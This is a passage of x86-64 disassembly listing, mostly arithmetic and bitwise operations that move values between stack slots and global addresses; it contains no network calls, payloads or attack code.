mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x2cbc], eax
lea rax, [rsp + 0x42]
mov qword [rsp + 0x66e0], rax
movsx eax, byte [rsp + 0xd8]
movsx ecx, byte [rsp + 0xa1]
add eax, ecx
mov rcx, qword [0x140114460]
mov byte [rcx], al
movzx eax, word [rsp + 0x8f8]
movzx ecx, word [0x140113050]
xor eax, ecx
mov word [rsp + 0xa50], ax
lea rax, [rsp + 0xa3]
mov qword [rsp + 0x66e8], rax
movzx eax, byte [rsp + 0x4f]
movzx ecx, byte [rsp + 0xbd]
or eax, ecx
mov rcx, qword [rsp + 0x5f18]
mov byte [rcx], al
mov eax, dword [rsp + 0x2cf8]
mov rcx, qword [rsp + 0x50e8]
mov qword [rsp + 0x66f0], rcx
movzx ecx, al
mov rax, qword [rsp + 0x66f0]
mov eax, dword [rax]
shr eax, cl
mov dword [rsp + 0x2bcc], eax
lea rax, [rsp + 0x5808]
mov qword [rsp + 0x66f8], rax
mov eax, dword [rsp + 0x2c58]
movzx ecx, al
mov eax, dword [rsp + 0x2e00]
shl eax, cl
mov rcx, qword [rsp + 0x6410]
mov dword [rcx], eax
mov rax, qword [0x140113008]
mov qword [rsp + 0x6700], rax
movzx eax, word [rsp + 0xa08]
movzx ecx, word [rsp + 0x9fc]
sub eax, ecx
mov word [rsp + 0x938], ax
lea rax, [rsp + 0x994]
mov qword [0x1401144e0], rax
mov rax, qword [rsp + 0x56e0]
movsx eax, byte [rax]
movsx ecx, byte [0x14011303f]
and eax, ecx
mov rcx, qword [rsp + 0x62a8]
mov byte [rcx], al
mov rax, qword [rsp + 0x56a0]
movzx eax, byte [rax]
mov byte [rsp + 0xfe], al
mov rax, qword [rsp + 0x4e58]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x5d98]
movsx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0xaa8], ax
lea rax, [rsp + 0xa5c]
mov qword [rsp + 0x6708], rax
mov rax, qword [rsp + 0x5cf0]
mov rcx, qword [0x140114160]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x5c10]
mov qword [rcx], rax
mov rax, qword [rsp + 0x5b18]
mov eax, dword [rax]
mov dword [rsp + 0x2e14], eax
mov rax, qword [rsp + 0x52e8]
mov rcx, qword [rsp + 0x5388]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x63a8], rax
mov rax, qword [rsp + 0x4ff8]
mov ecx, dword [rsp + 0x2e04]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x2c08], eax
mov rax, qword [rsp + 0x5598]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xac4]
add eax, ecx
mov word [0x140113014], ax
lea rax, [rsp + 0xfb]
mov qword [rsp + 0x6710], rax
mov rax, qword [rsp + 0x6078]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x5f20]
movsx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x6388]
mov byte [rcx], al
lea rax, [rsp + 0x6d]
mov qword [rsp + 0x6718], rax
mov rax, qword [rsp + 0x5a58]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x88]
add eax, ecx
mov rcx, qword [rsp + 0x65f0]
mov byte [rcx], al
mov rax, qword [rsp + 0x6390]
mov rcx, qword [rsp + 0x6238]
mov rax, qword [rax]
and rax, rcx
mov rcx, qword [rsp + 0x6460]
mov qword [rcx], rax
mov eax, dword [rsp + 0x2be8]
mov dword [rsp + 0x2e18], eax
mov rax, qword [rsp + 0x5210]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x2c70]
or ecx, eax
mov eax, ecx
mov dword [rsp + 0x2d9c], eax
mov rax, qword [rsp + 0x59f8]
mov qword [rsp + 0x6720], rax
movzx eax, word [rsp + 0x8b0]
mov rcx, qword [rsp + 0x5810]
movzx ecx, word [rcx]
xor eax, ecx
mov word [0x1401130b0], ax
mov rax, qword [rsp + 0x58b8]
movzx eax, byte [rax]
movzx ecx, byte [0x14011304f]
sar eax, cl
mov rcx, qword [rsp + 0x5700]
mov byte [rcx], al
mov rax, qword [rsp + 0x5608]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x944]
shl eax, cl
mov word [rsp + 0xb20], ax
mov rax, qword [rsp + 0x6318]
movzx eax, byte [rax]
mov byte [rsp + 0xff], al
movsx eax, word [0x140113018]
mov rcx, qword [rsp + 0x4b70]
movsx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x65d8]
mov word [rcx], ax
lea rax, [rsp + 0x2dd4]
mov qword [rsp + 0x6728], rax
mov rax, qword [rsp + 0x6500]
mov rcx, qword [rsp + 0x5dc8]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0x50b0]
mov qword [rcx], rax
mov rax, qword [rsp + 0x6600]
mov rcx, qword [rsp + 0x5460]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov rcx, qword [rsp + 0x53a0]
mov dword [rcx], eax
lea rax, [rsp + 0x63d0]
mov qword [rsp + 0x6730], rax
movzx eax, word [rsp + 0xabc]
mov rcx, qword [rsp + 0x5070]
movzx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [0x140114458]
mov word [rcx], ax
mov rax, qword [rsp + 0x66b8]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0xa0]
sub eax, ecx
mov byte [rsp + 0x65], al
mov rax, qword [rsp + 0x4e38]
movzx eax, word [rax]
mov word [rsp + 0xb78], ax
movzx eax, byte [rsp + 0x9d]
movzx ecx, byte [rsp + 0xd2]
sub eax, ecx
mov byte [rsp + 0xe6], al
movzx eax, word [0x140114230]
mov word [rsp + 0xb7c], ax
mov eax, dword [rsp + 0x2d54]
mov ecx, dword [rsp + 0x29d8]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x2b1c], eax
mov rax, qword [rsp + 0x59f0]
mov rcx, qword [rsp + 0x4fd0]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x5ba0], rax
lea rax, [rsp + 0x2cc8]
mov qword [rsp + 0x6738], rax
mov rax, qword [rsp + 0x5448]
mov rcx, qword [rsp + 0x5910]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0x6500]
mov qword [rcx], rax
lea rax, [rsp + 0xaa4]
mov qword [0x1401144e8], rax
lea rax, [0x14011302b]
mov qword [rsp + 0x6740], rax
movsx eax, word [rsp + 0xa80]
mov rcx, qword [rsp + 0x61c0]
movsx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x98c], ax
mov rax, qword [rsp + 0x5048]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x6718]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x75], al
movzx eax, word [0x140113090]
mov word [rsp + 0xb80], ax
mov eax, dword [rsp + 0x2be8]
movzx ecx, al
mov eax, dword [rsp + 0x2cac]
sar eax, cl
mov dword [rsp + 0x2c00], eax
lea rax, [rsp + 0x52f8]
mov qword [rsp + 0x6748], rax
mov rax, qword [rsp + 0x5a98]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0x29d8]
shl eax, cl
mov dword [rsp + 0x2d98], eax
mov rax, qword [rsp + 0x60c0]
mov rcx, qword [rsp + 0x5138]
mov rax, qword [rax]
or rax, rcx
mov rcx, qword [rsp + 0x5518]
mov qword [rcx], rax
lea rax, [rsp + 0x868]
mov qword [0x1401144f0], rax
mov rax, qword [0x1401141e8]
movzx eax, byte [rax]
mov byte [rsp + 0x100], al
mov rax, qword [rsp + 0x5360]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x59c8]
movzx ecx, byte [rcx]
xor eax, ecx
mov rcx, qword [rsp + 0x5308]
mov byte [rcx], al
movzx eax, word [rsp + 0xb6c]
mov word [rsp + 0xb84], ax
mov rax, qword [rsp + 0x5160]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x5978]
movsx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0x9e4], ax
mov rax, qword [rsp + 0x5330]
mov eax, dword [rax]
mov dword [rsp + 0x2e1c], eax
mov rax, qword [rsp + 0x6128]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x2cbc]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x2b34], eax
mov rax, qword [rsp + 0x5b08]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x5eb0]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x5650], rax
mov rax, qword [rsp + 0x4fd8]
mov rax, qword [rax]
mov qword [rsp + 0x6750], rax
movsx eax, byte [rsp + 0x8d]
movsx ecx, byte [rsp + 0xde]
and eax, ecx
mov byte [0x140113036], al
mov rax, qword [rsp + 0x60e0]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x5c18]
movsx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0xa40], ax
lea rax, [rsp + 0x9f0]
mov qword [rsp + 0x6758], rax
movsx eax, byte [rsp + 0x3f]
movsx ecx, byte [rsp + 0x39]
sub eax, ecx
mov rcx, qword [rsp + 0x58d0]
mov byte [rcx], al
movzx eax, byte [rsp + 0xfd]
movzx ecx, byte [rsp + 0xfb]
add eax, ecx
mov byte [rsp + 0xe5], al
mov eax, dword [rsp + 0x2d38]
mov dword [rsp + 0x2e20], eax
mov rax, qword [rsp + 0x5a78]
mov rcx, qword [rsp + 0x5b98]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x62c8], rax
mov eax, dword [rsp + 0x2c24]
mov dword [rsp + 0x2e24], eax
mov rax, qword [rsp + 0x58c0]
mov rcx, qword [rsp + 0x6300]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x59f8], rax
movzx eax, word [rsp + 0x938]
movzx ecx, word [rsp + 0x874]
or eax, ecx
mov word [0x140113098], ax
mov rax, qword [0x140114180]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xad4]
shl eax, cl
mov word [rsp + 0x860], ax
lea rax, [rsp + 0xbc]
mov qword [rsp + 0x6760], rax
movzx eax, byte [rsp + 0xad]
mov rcx, qword [rsp + 0x6160]
movzx ecx, byte [rcx]
xor eax, ecx
mov byte [rsp + 0x62], al
lea rax, [0x14011301a]
mov qword [rsp + 0x6768], rax
mov rax, qword [rsp + 0x60e8]
mov eax, dword [rax]
mov rcx, qword [rsp + 0x5770]
mov qword [rsp + 0x6770], rcx
movzx ecx, al
mov rax, qword [rsp + 0x6770]
mov eax, dword [rax]
shr eax, cl
mov dword [rsp + 0x2ca0], eax
mov rax, qword [rsp + 0x4b90]
mov rcx, qword [rsp + 0x6730]
mov rcx, qword [rcx]
mov rax, qword [rax]
and rax, rcx
mov qword [rsp + 0x5388], rax
mov eax, dword [rsp + 0x2c2c]
mov dword [rsp + 0x2e28], eax
mov rax, qword [rsp + 0x6380]
mov rcx, qword [rsp + 0x5580]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0x5950]
mov qword [rcx], rax
lea rax, [rsp + 0x974]
mov qword [rsp + 0x6778], rax
movzx eax, byte [rsp + 0x79]
mov byte [0x140114223], al
movzx eax, byte [rsp + 0x44]
mov rcx, qword [rsp + 0x51d0]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x72], al
lea rax, [rsp + 0x850]
mov qword [rsp + 0x6780], rax
movsx eax, word [rsp + 0xac0]
mov rcx, qword [rsp + 0x6098]
movsx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0xa6c], ax
mov rax, qword [rsp + 0x51e8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x2dec]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x2de0], eax
mov rax, qword [rsp + 0x5ff8]
mov rax, qword [rax]
mov qword [rsp + 0x6788], rax
mov eax, dword [rsp + 0x2d2c]
mov ecx, dword [rsp + 0x2c14]
and ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x55d8]
mov dword [rcx], eax
mov rax, qword [rsp + 0x6608]
mov rax, qword [rax]
mov qword [rsp + 0x6790], rax
movzx eax, word [rsp + 0xa68]
mov rcx, qword [rsp + 0x5148]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x9d8], ax
movsx eax, byte [rsp + 0x6f]
mov rcx, qword [0x1401143b0]
movsx ecx, byte [rcx]
sub eax, ecx
mov byte [0x14011305b], al
mov rax, qword [rsp + 0x54c0]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x6518]
movsx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x6378]
mov byte [rcx], al
lea rax, [rsp + 0x9e]
mov qword [rsp + 0x6798], rax
movsx eax, word [0x140113078]
movsx ecx, word [rsp + 0xb78]
add eax, ecx
mov word [rsp + 0x914], ax
mov eax, dword [rsp + 0x2e24]
mov dword [rsp + 0x2e2c], eax
mov rax, qword [rsp + 0x6500]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x6668]
mov qword [rsp + 0x67a0], rcx
movzx ecx, al
mov rax, qword [rsp + 0x67a0]
mov rax, qword [rax]
shl rax, cl
mov qword [rsp + 0x5708], rax
mov rax, qword [rsp + 0x6238]
mov rcx, qword [0x140113008]
xor rcx, rax
mov rax, rcx
mov qword [rsp + 0x59f0], rax
lea rax, [rsp + 0x2da0]
mov qword [rsp + 0x67a8], rax
movzx eax, byte [rsp + 0xc6]
movzx ecx, byte [rsp + 0xa9]
sar eax, cl
mov byte [rsp + 0xd9], al
mov rax, qword [rsp + 0x6078]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0xf7]
or eax, ecx
mov byte [0x14011303f], al
mov rax, qword [rsp + 0x5100]
movzx eax, word [rax]
mov word [rsp + 0xb88], ax
movzx eax, byte [rsp + 0x41]
mov rcx, qword [rsp + 0x51d0]
movzx ecx, byte [rcx]
and eax, ecx
mov byte [rsp + 0xec], al
movzx eax, word [0x140113010]
mov word [rsp + 0xb8c], ax
mov rax, qword [rsp + 0x5078]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x6400]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x5128]
mov qword [rcx], rax
mov rax, qword [rsp + 0x5a50]
mov rcx, qword [rsp + 0x53c0]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0x5d68]
mov qword [rcx], rax
lea rax, [rsp + 0x2d74]
mov qword [rsp + 0x67b0], rax
mov rax, qword [rsp + 0x5108]
mov rcx, qword [rsp + 0x6100]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x2c58], eax
mov rax, qword [rsp + 0x4e88]
movzx eax, word [rax]
mov word [rsp + 0xb90], ax
lea rax, section..data
mov qword [0x1401144f8], rax
movsx eax, byte [rsp + 0x79]
movsx ecx, byte [rsp + 0xd8]
sub eax, ecx
mov rcx, qword [rsp + 0x6170]
mov byte [rcx], al
movzx eax, byte [rsp + 0x48]
movzx ecx, byte [rsp + 0x42]
sub eax, ecx
mov byte [rsp + 0x83], al
mov rax, qword [0x1401144c8]
movzx eax, word [rax]
mov word [rsp + 0xb94], ax
movzx eax, byte [rsp + 0xd3]
movzx ecx, byte [rsp + 0x9f]
and eax, ecx
mov byte [rsp + 0xfd], al
lea rax, [rsp + 0x2db8]
mov qword [rsp + 0x67b8], rax
mov rax, qword [rsp + 0x5cc0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x2d50]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x5c90]
mov dword [rcx], eax
mov rax, qword [rsp + 0x5e38]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x6538]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x5970], rax
mov rax, qword [rsp + 0x5290]
mov qword [rsp + 0x67c0], rax
mov rax, qword [0x1401144b0]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x864]
add eax, ecx
mov word [0x140113020], ax
mov rax, qword [rsp + 0x5038]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0xdb]
or eax, ecx
mov byte [rsp + 0x7b], al
lea rax, [rsp + 0x87c]
mov qword [rsp + 0x67c8], rax
mov rax, qword [rsp + 0x5e00]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x9f]
xor eax, ecx
mov byte [rsp + 0xc2], al
movzx eax, word [rsp + 0x870]
movzx ecx, word [rsp + 0xa8c]
sar eax, cl
mov rcx, qword [rsp + 0x6048]
mov word [rcx], ax
mov rax, qword [rsp + 0x64c0]
mov eax, dword [rax]
mov dword [rsp + 0x2e30], eax
mov eax, dword [rsp + 0x2c3c]
movzx ecx, al
mov eax, dword [0x140114150]
shl eax, cl
mov dword [rsp + 0x2d68], eax
mov rax, qword [rsp + 0x6148]
mov qword [rsp + 0x67d0], rax
mov rax, qword [rsp + 0x4b20]
mov rcx, qword [rsp + 0x5960]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0x5bd8], rax
movsx eax, byte [rsp + 0xd6]
movsx ecx, byte [rsp + 0xf0]
add eax, ecx
mov rcx, qword [0x140114438]
mov byte [rcx], al
lea rax, [rsp + 0xb8c]
mov qword [rsp + 0x67d8], rax
movzx eax, byte [rsp + 0xb6]
movzx ecx, byte [rsp + 0x36]
add eax, ecx
mov rcx, qword [rsp + 0x5e90]
mov byte [rcx], al
movsx eax, word [rsp + 0xa88]
mov rcx, qword [rsp + 0x5d98]
movsx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x8f0], ax
movzx eax, byte [rsp + 0xe7]
mov byte [rsp + 0x101], al
mov rax, qword [rsp + 0x50e8]
mov ecx, dword [rsp + 0x2c08]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x2e2c], eax
mov rax, qword [rsp + 0x4e98]
mov rax, qword [rax]
mov qword [rsp + 0x67e0], rax
mov eax, dword [rsp + 0x2bbc]
mov ecx, dword [rsp + 0x2b58]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x2c04], eax
mov rax, qword [rsp + 0x4ea8]
mov rcx, qword [rsp + 0x50c0]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x52f0], rax
lea rax, [rsp + 0x8c]
mov qword [0x140114500], rax
movzx eax, word [rsp + 0xb34]
mov word [rsp + 0xb98], ax
movsx eax, byte [rsp + 0xb8]
mov rcx, qword [rsp + 0x6430]
movsx ecx, byte [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x5d00]
mov byte [rcx], al
movzx eax, word [0x140113068]
mov word [rsp + 0xb9c], ax
mov rax, qword [rsp + 0x62b8]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xb74]
sub eax, ecx
mov rcx, qword [rsp + 0x6620]
mov word [rcx], ax
mov rax, qword [rsp + 0x4c60]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x2cb4]
xor ecx, eax
mov eax, ecx
mov dword [rsp + 0x2de0], eax
mov rax, qword [rsp + 0x62b0]
mov qword [rsp + 0x67e8], rax
mov rax, qword [rsp + 0x57e8]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x4e98]
mov qword [rsp + 0x67f0], rcx
movzx ecx, al
mov rax, qword [rsp + 0x67f0]
mov rax, qword [rax]
shr rax, cl
mov rcx, qword [rsp + 0x4bd0]
mov qword [rcx], rax
mov eax, dword [rsp + 0x2dfc]
mov dword [rsp + 0x2e34], eax
lea rax, [0x140113047]
mov qword [0x140114508], rax
mov rax, qword [rsp + 0x6318]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x66e8]
movsx ecx, byte [rcx]
or eax, ecx
mov byte [rsp + 0x77], al
mov rax, qword [rsp + 0x6708]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x5720]
movzx ecx, word [rcx]
shl eax, cl
mov rcx, qword [rsp + 0x5c98]
mov word [rcx], ax
mov rax, qword [0x1401144e0]
movzx eax, word [rax]
mov word [rsp + 0xba0], ax
movzx eax, word [rsp + 0x9a8]
movzx ecx, word [rsp + 0xa50]
sub eax, ecx
mov word [rsp + 0xaec], ax
mov rax, qword [rsp + 0x5538]
mov eax, dword [rax]
mov dword [rsp + 0x2e38], eax
mov rax, qword [rsp + 0x67c0]
mov rcx, qword [rsp + 0x4b28]
and rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x6230]
mov qword [rcx], rax
mov rax, qword [rsp + 0x5238]
mov qword [rsp + 0x67f8], rax
mov eax, dword [rsp + 0x2c8c]
mov ecx, dword [rsp + 0x2e1c]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x2c48], eax
mov rax, qword [rsp + 0x5d30]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x5490]
movzx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [0x140114488]
mov byte [rcx], al
mov rax, qword [rsp + 0x5a80]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x101]
add eax, ecx
mov byte [rsp + 0x47], al
movzx eax, word [rsp + 0x9dc]
mov word [rsp + 0xba4], ax
movsx eax, word [0x140114318]
movsx ecx, word [rsp + 0xad4]
sub eax, ecx
mov word [rsp + 0x8c0], ax
movzx eax, word [rsp + 0xa88]
mov word [rsp + 0xba8], ax
mov rax, qword [rsp + 0x55f8]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x58c0]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x5838], rax
mov rax, qword [rsp + 0x52c8]
mov rcx, qword [rsp + 0x6738]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x2be8], eax
mov rax, qword [rsp + 0x5748]
mov qword [rsp + 0x6800], rax
mov rax, qword [rsp + 0x63b8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x2b78]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x5a98]
mov dword [rcx], eax
movsx eax, byte [rsp + 0x37]
mov rcx, qword [rsp + 0x6488]
movsx ecx, byte [rcx]
and eax, ecx
mov rcx, qword [0x140114490]
mov byte [rcx], al
mov rax, qword [rsp + 0x63d8]
movzx eax, word [rax]
mov word [rsp + 0xbac], ax
mov rax, qword [rsp + 0x6598]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0xc8]
xor eax, ecx
mov byte [rsp + 0xe2], al
movsx eax, word [rsp + 0xa44]
mov rcx, qword [rsp + 0x62f8]
movsx ecx, word [rcx]
shl eax, cl
mov word [rsp + 0x86c], ax
lea rax, [rsp + 0x55]
mov qword [rsp + 0x6808], rax
mov rax, qword [0x140114160]
mov rcx, qword [rsp + 0x5808]
or rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x6038]
mov qword [rcx], rax
mov eax, dword [rsp + 0x2c2c]
mov dword [rsp + 0x2e3c], eax
mov rax, qword [rsp + 0x6200]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x64d0]
mov qword [rsp + 0x6810], rcx
movzx ecx, al
mov rax, qword [rsp + 0x6810]
mov rax, qword [rax]
shr rax, cl
mov qword [rsp + 0x6400], rax
mov eax, dword [rsp + 0x2b80]
mov dword [rsp + 0x2e40], eax
lea rax, [rsp + 0xa54]
mov qword [0x140114510], rax
movzx eax, byte [rsp + 0xd3]
mov rcx, qword [rsp + 0x6028]
movzx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x5020]
mov byte [rcx], al
mov rax, qword [rsp + 0x65f0]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x89]
add eax, ecx
mov byte [rsp + 0x85], al
movzx eax, byte [0x1401141bb]
mov byte [rsp + 0x102], al
movzx eax, word [rsp + 0xba4]
movzx ecx, word [rsp + 0xa64]
and eax, ecx
mov word [rsp + 0x91c], ax
lea rax, [rsp + 0x2dd4]
mov qword [rsp + 0x6818], rax
mov rax, qword [rsp + 0x6168]
mov rcx, qword [rsp + 0x5220]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0x54d0]
mov qword [rcx], rax
mov rax, qword [rsp + 0x50f0]
mov rcx, qword [rsp + 0x65a0]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0x50c0]
mov qword [rcx], rax
mov rax, qword [rsp + 0x50e8]
mov eax, dword [rax]
mov dword [rsp + 0x2e44], eax
mov rax, qword [0x140114388]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x6778]
movzx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x5560]
mov word [rcx], ax
movzx eax, byte [rsp + 0xe8]
movzx ecx, byte [rsp + 0x83]
add eax, ecx
mov byte [0x14011305e], al
lea rax, [rsp + 0xe1]
mov qword [rsp + 0x6820], rax
movsx eax, word [0x1401144c0]
mov rcx, qword [rsp + 0x5510]
movsx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x5ad8]
mov word [rcx], ax
mov rax, qword [rsp + 0x5740]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x81]
sub eax, ecx
mov byte [rsp + 0x5f], al
lea rax, [rsp + 0x2b1c]
mov qword [rsp + 0x6828], rax
mov rax, qword [rsp + 0x4ff0]
mov rcx, qword [rsp + 0x4c68]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x5ac0], rax
mov rax, qword [rsp + 0x5930]
mov rax, qword [rax]
mov qword [rsp + 0x6830], rax
mov eax, dword [rsp + 0x2ae8]
mov ecx, dword [rsp + 0x2cec]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x4d88]
mov dword [rcx], eax
mov rax, qword [rsp + 0x50b8]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x5a80]
movsx ecx, byte [rcx]
shl eax, cl
mov rcx, qword [rsp + 0x65f0]
mov byte [rcx], al
mov rax, qword [rsp + 0x5bf0]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x4ef0]
movsx ecx, word [rcx]
sar eax, cl
mov rcx, qword [0x140114448]
mov word [rcx], ax
mov rax, qword [0x140114410]
movzx eax, byte [rax]
mov byte [rsp + 0x103], al
movsx eax, byte [rsp + 0xc1]
movsx ecx, byte [rsp + 0x52]
or eax, ecx
mov byte [rsp + 0x96], al
movzx eax, word [rsp + 0xa68]
mov word [rsp + 0xbb0], ax
mov rax, qword [rsp + 0x5128]
mov rcx, qword [rsp + 0x60c8]
mov rcx, qword [rcx]
mov rax, qword [rax]
xor rax, rcx
mov qword [rsp + 0x6428], rax
mov eax, dword [rsp + 0x2e20]
mov dword [rsp + 0x2e48], eax
mov rax, qword [rsp + 0x59c0]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x58c0]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0x6750], rax
mov rax, qword [rsp + 0x5b60]
mov rcx, qword [rsp + 0x5770]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x2d90], eax
lea rax, [rsp + 0x918]
mov qword [rsp + 0x6838], rax
lea rax, [rsp + 0xb08]
mov qword [0x140114518], rax
mov rax, qword [rsp + 0x51e0]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0xc2]
sub eax, ecx
mov rcx, qword [rsp + 0x6160]
mov byte [rcx], al
movzx eax, byte [0x140114154]
mov byte [rsp + 0x104], al
movzx eax, word [rsp + 0x9dc]
movzx ecx, word [rsp + 0x9a8]
and eax, ecx
mov word [rsp + 0x90c], ax
mov eax, dword [rsp + 0x2bf0]
mov ecx, dword [rsp + 0x2dd4]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x65f8]
mov dword [rcx], eax
lea rax, [rsp + 0x5410]
mov qword [rsp + 0x6840], rax
mov eax, dword [rsp + 0x2e44]
mov ecx, dword [rsp + 0x2b18]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x2d24], eax
lea rax, [rsp + 0x66d8]
mov qword [rsp + 0x6848], rax
mov rax, qword [0x140114328]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x62f0]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0xc0], al
mov rax, qword [rsp + 0x5dd8]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x9b0]
add eax, ecx
mov rcx, qword [0x140114180]
mov word [rcx], ax
mov rax, qword [rsp + 0x5848]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xb20]
add eax, ecx
mov word [rsp + 0xb24], ax
lea rax, [rsp + 0x934]
mov qword [rsp + 0x6850], rax
movsx eax, byte [rsp + 0x57]
mov rcx, qword [rsp + 0x60d0]
movsx ecx, byte [rcx]
sar eax, cl
mov rcx, qword [rsp + 0x5068]
mov byte [rcx], al
movzx eax, byte [rsp + 0x6d]
mov byte [rsp + 0x105], al
mov rax, qword [rsp + 0x50b0]
mov rcx, qword [rsp + 0x4b20]
mov rax, qword [rax]
xor rax, rcx
mov qword [rsp + 0x4e08], rax
mov rax, qword [rsp + 0x5fe0]
mov qword [rsp + 0x6858], rax
mov eax, dword [rsp + 0x2c24]
movzx ecx, al
mov eax, dword [rsp + 0x2d54]
shl eax, cl
mov dword [rsp + 0x2cf0], eax
mov rax, qword [rsp + 0x5640]
mov ecx, dword [rsp + 0x2ae8]
mov eax, dword [rax]
or eax, ecx
mov rcx, qword [rsp + 0x5478]
mov dword [rcx], eax
mov rax, qword [rsp + 0x5620]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xb10]
and eax, ecx
mov rcx, qword [0x1401144b8]
mov word [rcx], ax
mov rax, qword [0x1401144f0]
movzx eax, word [rax]
mov word [rsp + 0xbb4], ax
movsx eax, byte [rsp + 0xcc]
mov rcx, qword [rsp + 0x6448]
movsx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x5990]
mov byte [rcx], al
mov rax, qword [rsp + 0x6838]
movzx eax, word [rax]
